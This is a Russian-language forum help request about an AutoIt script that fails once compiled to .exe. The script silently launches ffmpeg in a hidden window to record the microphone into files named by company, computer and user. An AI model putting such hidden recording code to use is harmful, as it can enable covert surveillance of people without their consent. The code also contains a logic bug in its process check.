Добрый день! Имеется скрипт *.au3 который отрабатывает без проблем если его запускать без компиляции , но если его скомпилировать в *.exe тогда программа не запускается. Стоит отметить что тестировал специально на голой системе win7 с выключенным антивирусом. UAC выключал. Запускал от администратора. Ничего не помогает.
ffmpeg.exe - стороняя программа, которая используется для записи.
Сам скрипт:
ffmpeg.exe - стороняя программа, которая используется для записи.
Сам скрипт:
Код:
If $CmdLine[0] = 0 Then
$company="unsorted"
Else
$company=$CmdLine[1]
EndIf
$computery=@ComputerName;
$user=@UserName;
$mainPath = 'D:\rec\' & $company & '\' & $computery & '\' & $user & '\';
If ProcessExists("ffmpeg.exe") OR ("recording.exe") Then
ProcessClose("ffmpeg.exe")
ProcessClose("recording.exe")
Sleep(1000)
EndIf
$nowData = @YEAR & @MON & @MDAY & @HOUR & @MIN;
$fileRecName = $mainPath & $nowData & '.mp3';
If Not FileExists($mainPath) Then
DirCreate($mainPath)
EndIf
$prog = 'ffmpeg.exe';
$probel = ' ';
$param1 = '-f dshow';
$param2 = '-i audio="Микрофон"';
$param3 = '-acodec libmp3lame';
$param4 = '-b:a 128k'
Run($prog & $probel & $param1 & $probel & $param2 & $probel & $param3 & $probel & $param4 & $probel & $fileRecName, "", @SW_HIDE);
Sleep(1000);